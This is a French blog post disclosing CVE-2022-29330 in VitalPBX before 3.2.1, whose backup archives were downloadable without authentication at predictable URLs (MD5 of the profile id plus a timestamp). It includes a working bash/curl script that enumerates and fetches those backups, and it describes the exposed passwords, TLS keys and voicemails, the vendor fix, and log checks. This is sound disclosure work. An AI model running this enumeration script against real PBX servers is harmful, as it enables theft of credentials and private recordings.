



# CVE-2022-29330 - Vulnérabilité dans VitalPBX < 3.2.1

Corinne HENIN & Thibaut HENIN

23 juin 2022

[@Cybersécurité #vuln](#)



Alors que nous ~~jouons avec~~ configurions notre VitalPBX tranquillement, nous avons découvert une vulnérabilité relativement facile à mettre en œuvre et donnant accès à des données qu'on ne devrait pas pouvoir lire librement (*i.e.* les mot de passe des extensions, mais pas que). Voici comment elle fonctionne... et pourquoi vous devriez mettre votre version à jours.

Inutile pour une famille, donc indispensable pour une famille geek, nous avons un IPBX à la maison. Parmi les nombreux logiciels sur le marché, nous avons [installé un VitalPBX](#) dans une machine virtuelle connectée au reste de notre réseau et qui fait le lien entre nos téléphones IP ([des IP-8815](#)) et nos lignes externes analogiques (via [une passerelle HX4G](#) connectée aux boxes des FAI).

Au fil de nos aventures dans ce monde merveilleux de la VoIP, nous avons [expérimenté plein d'astuces](#) qui nous permettent d'avoir, [@home](#), toutes les fonctionnalités qu'on attend d'un système téléphonique d'entreprise (ou d'hôtel) : [groupe de sonnerie](#), [messagerie vocale](#) et [test de turing](#) (pour éviter les robots d'appel)...



© Rodrigo SalomonHC @ pixabay

Dernière en date : la sauvegarde (parce que [les sauvegardes, c'est important](#)). C'est vrai que vu notre infrastructure, ce serveur est rapide à installer et les rares données qu'il contient peuvent être perdues, on aurait donc pu faire l'impasse. Le truc, c'est qu'en tant qu'experts judiciaire, on ne se voit pas intervenir pour des juges et des entreprises sans savoir de quoi on parle (et aussi parce qu'au fond, configurer des serveurs, on aime ça).



Et c'est justement en cherchant à configurer le système de sauvegarde, ou plutôt à l'automatiser, que nous avons découvert cette vulnérabilité...


#### Divulgâchage


Les fichiers de sauvegardes étaient accessibles via l'interface web sans aucune restriction et donnent accès, en clair, aux mots de passe aux clés cryptographiques et aux boîtes vocales (entre autre). Heureusement, c'est corrigé depuis le 4 mai (version 3.2.1) donc mettez votre système à jours.

## La sauvegarde chez VitalPBX

La configuration des sauvegardes de VitalPBX se fait via l'interface d'administration web. Une fois connecté, vous devez vous rendre dans « admin / Tools / Backup & Restore ». Le formulaire présenté par défaut permet de créer un nouveau profil de sauvegarde, avec au minimum, un nom.



 Search

 Administrator ▾

Backup & Restore

Dashboard

GENERAL

Name \*

Add-ons

Run Automatically

Disabled ▾

Include CDR Records

Yes ☐

Comment

Include Call Recordings

Yes ☐

Limit

1 ▾

Include Voicemail

Yes ☐




Include Faxes

Yes ☐

Import Backup

Save

Créer un profil de sauvegarde

Une fois vos profils de sauvegarde créés, vous pouvez les lister via l'icone de menu () puis y accéder en cliquant sur leur nom. Le nouvel écran reprend le formulaire de configuration et ajoute la liste des sauvegardes déjà effectuée (dans la limite configurée plus haut), vous permet d'en restaurer une (bouton  à droite dans la ligne correspondante) et de créer de nouveaux points de sauvegarde (bouton  en bas à gauche de l'écran).

Search

Administrator

Backup & Restore

Dashboard

GENERAL

Name \*

test

Add-ons

Run Automatically

Disabled

Include CDR Records

Yes

Comment

Include Call Recordings

Yes

Limit

2

Include Voicemail

Yes

Include Faxes

Yes

Backups List

Date & Time	Backup	VitalPBX Version	Actions
2022-04-01 10:27:59	vitalpbx-1648801679.tar (20.18 MB)	3.1.5-3	<div></div> <div></div> <div></div>
2022-04-01 10:24:41	vitalpbx-1648801481.tar (20.18 MB)	3.1.5-3	<div></div> <div></div> <div></div>

Run Backup Now!

Update


Delete

New

Détail d'un profil de sauvegarde

Si vous voulez faire des sauvegardes automatiquement, il faut d'abord ajouter un profil de tâche automatique (via le menu « PBX / Tools / cron profiles ») car tant qu'il n'y en a pas, le champ *Run automatically* ne propose que la valeur `disabled`).

## Vulnérabilités des fichiers de sauvegardes

Comme vous l'aviez peut être vu, l'interface web propose aussi un bouton  pour télécharger un point de sauvegarde. En cliquant dessus, vous obtiendrez alors une archive au format `tar` que vous pourriez sauvegarder de votre côté. Ce n'est pas évident parce qu'il nous cache les détails (il est opaque) mais ce bouton ne fait que rediriger votre navigateur vers l'adresse du fichier qui pourrait ressembler à ce qui suit :

```
https://monipbx.monreseau.lan/static/backup/c4ca4238a0b923820dcc509a6f75849b/vitalpbx-1650260415.tar
```

Ça n'a l'air de rien vu comme ça mais en vérifiant les détails, vous allez voir que ça va poser problème.

## Téléchargement sans contrôle d'accès

La configuration du serveur web se trouve, comme toujours sur les *Red Hat*, dans `/etc/httpd/conf.d/` et plus particulièrement, le fichier `vitalpbx.conf`. On y trouve la configuration des vhosts (serveurs web virtuels) utilisés par vitalpbx, dont celui de l'interface d'administration web qui nous intéresse et dont voici un extrait :

```
<VirtualHost *:443>
    ...
    <Directory "/var/lib/vitalpbx/static">
        Require all granted
    </Directory>
    Alias /static "/var/lib/vitalpbx/static"
    ...
</VirtualHost>
```

Si on le lit du bas en haut, on apprend que le préfixe `/static` dans l'adresse est en fait un alias qui correspond au répertoire `/var/lib/vitalpbx/static`. Puis (ou plutôt *avant*) que ce répertoire est en libre accès (`Require all granted`). Aucun code PHP, aucune ligne de configuration ou fichier `.htaccess` ne viendra tempérer cette absence de contrôle d'accès.

### ⚠ Attention

Si on connaît l'adresse d'un fichier, on peut y accéder sans contrainte.

Seule consolation, le serveur ne permet pas de lister les fichiers dans un répertoire ; si vous accédez à `https://monipbx.monreseau.lan/static/backup/`, le système vous retournera une erreur `403 - Forbidden` (vous n'avez pas le droit de voir le contenu du répertoire).

## Adresse déterministe

Il faut donc deviner le reste de l'adresse des fichiers de sauvegarde...

```
c4ca4238a0b923820dcc509a6f75849b/vitalpbx-1650260415.tar
```

- `c4ca4238a0b923820dcc509a6f75849b`, est facile à trouver, il suffirait de la coller dans n'importe quel moteur de recherche pour découvrir qu'il s'agit du MD5 de la chaîne « 1 » (l'identifiant du profil de sauvegarde). En faisant le test avec de nouveaux profils on obtiens, à chaque fois, le MD5 de leur identifiant, `c81e728d9d4c2f636f067f89cc14862c` pour 2, puis `eccbc87e4b5ce2fe28308fd9f2a7baf3` pour 3, et ainsi de suite.
- `1650260415` est plus subtile (les moteurs de recherche ne vous aideront pas) mais ce n'est que le timestamp du fichier ; soit le nombre de secondes écoulées depuis le 1<sup>er</sup> janvier 1970 lorsque le fichier a été écrit sur le disque...

Tout ce qu'il faut, c'est trouver un identifiant de profil et un timestamp valide, deux informations dont les valeurs suivent des suites toutes simples.

### ⚠ Attention

On peut énumérer les profils (nombres entiers consécutifs) et les timestamps (à rebours à partir de *maintenant*) jusqu'à trouver un fichier de sauvegarde.

# L'exploitation

Plutôt que tester ces possibilités à la main, on peut automatiser tout ça. Voici une solution en bash 🐚. Pour faire court, on teste tous les timestamps sur les dernières 24 heures, pour les 10 premiers profils. Et on quitte le script dès que `curl` a trouvé quelque chose.

```
#!/bin/bash

now=$(date +%s)
past=$(date -d "1 day ago" +%s)

for profile in $(seq 1 10) ; do
    md5=$(echo -n $profile | md5sum | sed -e "s/ .*//")

    curl -sk "https://localhost/static/backup/$md5/" -o /dev/null -w "%{http_code}" | grep -q "404" && continue

    for timestamp in $(seq $now -1 $past) ; do
        curl -fJOsk "https://monipbx.monreseau.lan/static/backup/$md5/vitalpbx-$timestamp.tar" && exit 1
    done
done
```

Si vous êtes pressé, on peut accélérer tout ça avec un peu de parallélisme sur les appels à `curl`. Pour ça, on va modifier la boucle intérieure et directement passer le résultat de `seq` à `xargs`.

```
export md5=$(echo -n $profile | md5sum | sed -e "s/ .*//")
...
seq $now -1 $past | xargs -P 10 -I % bash -c \
    'curl -fJOsk "https://localhost/static/backup/$md5/vitalpbx-%.tar" && exit 255' \
    || exit 1
```

## Impact

Le fichier de sauvegarde est une archive `tar` contenant d'autres archives (`gz` et `tar.gz`). Et parmi tout ce qui est sauvegardé, quelques éléments sont particulièrement intéressants...

- `asterisk.sql.gz` contient, entre autre, la configuration de certaines extensions PJSIP et leurs identifiants (logins et mots de passe en clair),
- `dialplan.tar.gz` contient, entre autre, la configuration des extensions SIP (dans `sip__50-1-extensions.conf`) et PJSIP (dans `pjsip__50-1-extensions.conf`), dont les identifiants (logins et mots de passe en clair),
- `certificates.tar.gz` contient les [certificats TLS](#) ainsi que leur clé privée correspondante,
- `voicemail.tar.gz`, comme son nom l'indique, contient les boîtes vocales, c'est à dire les messages audio que les correspondants ont laissé.

Donc, si quelqu'un a la main sur votre fichier de sauvegarde, il peut :

- **Usurper les extensions** auprès du serveur de VoIP, et lire les messages vocaux laissés par les correspondants,
- **Usurper le serveur** de configuration (e.g. avec un proxy HTTPS) et ensuite récupérer les mots de passe des administrateurs.

Et une fois qu'on a le mot de passe de l'administrateur, on peut tout faire.

## Correction

---

Telesoft S.A a corrigé cette vulnérabilité dans la version 3.2.1, une fois mis à jours, votre serveur n'est donc plus vulnérable à cette attaque 🇫🇷.

### ✓ À noter

Dans le détail, les fichiers de sauvegardes ne sont plus accessible directement (ils sont déplacés dans `/var/lib/vitalpbx/backup`, en dehors des répertoires accessibles par apache) et nécessitent donc passer par l'interface utilisateur en PHP qui fait les vérifications d'authentification.

Pour savoir si votre installation a été victime de cette attaque, vous pouvez regarder les journaux du serveur web. Ils se trouvent dans `/var/log/httpd`, une recherche sur `/static/backup` vous dira si des accès ont eu lieu. Si vous constatez des accès, et si vous voulez rester prudent, changez vos clés TLS et les mots de passe (extensions et pour être prudent, utilisateurs).

## Historique de publication

---

- **Découverte de la vulnérabilité** : 1<sup>er</sup> avril 2022,
- **Communication à l'éditeur** : 1<sup>er</sup> avril 2022,
- **Correctif de sécurité** : 4 mai 2022 ([version 3.2.1 R1](#)).

◀ [La Guerre en Ukraine peut-elle dégénérer dans le cyberspace ?](#)

[Les arsouyes en live](#) ▶

## Soutenez-nous !

Pour continuer à produire du contenu de qualité, ouvert et indépendant, nous avons besoin de votre soutien.

# PATREON



## Derniers posts

- 23 octobre 2022 [Les arsouyes en live](#)
- 23 juin 2022 [CVE-2022-29330 - Vulnérabilité dans VitalPBX < 3.2.1](#)
- 2 mars 2022 [La Guerre en Ukraine peut-elle dégénérer dans le cyberspace ?](#)
- 1 janvier 2022 [2022](#)
- 30 août 2021 [Réduire la charge mentale](#)

## Qui sommes nous ?

- [À propos](#)
- [Contribuer](#)
- [Politique de confidentialité](#)
- [Informations légales](#)
- [Espace Presse](#)
- [Nous contacter](#)

## Archives

- [2022](#)
- [2021](#)
- [2020](#)
- [2019](#)
- [2018](#)
- [2017](#)
- [2010](#)
- [2009](#)
- [2008](#)
- [2007](#)

## Catégories

- [Histoire des arsouyes](#)
- [Admin Sys](#)
- [Cryptologie](#)
- [Culture](#)
- [Cybersécurité](#)
- [Développement de logiciels](#)
- [Droit](#)
- [Expertises Judiciaires](#)
- [Hacking](#)
- [Vie privée](#)
- [Réseaux](#)

Produit par [arsouyes.org](#), tous droits réservés, version 1669296547 .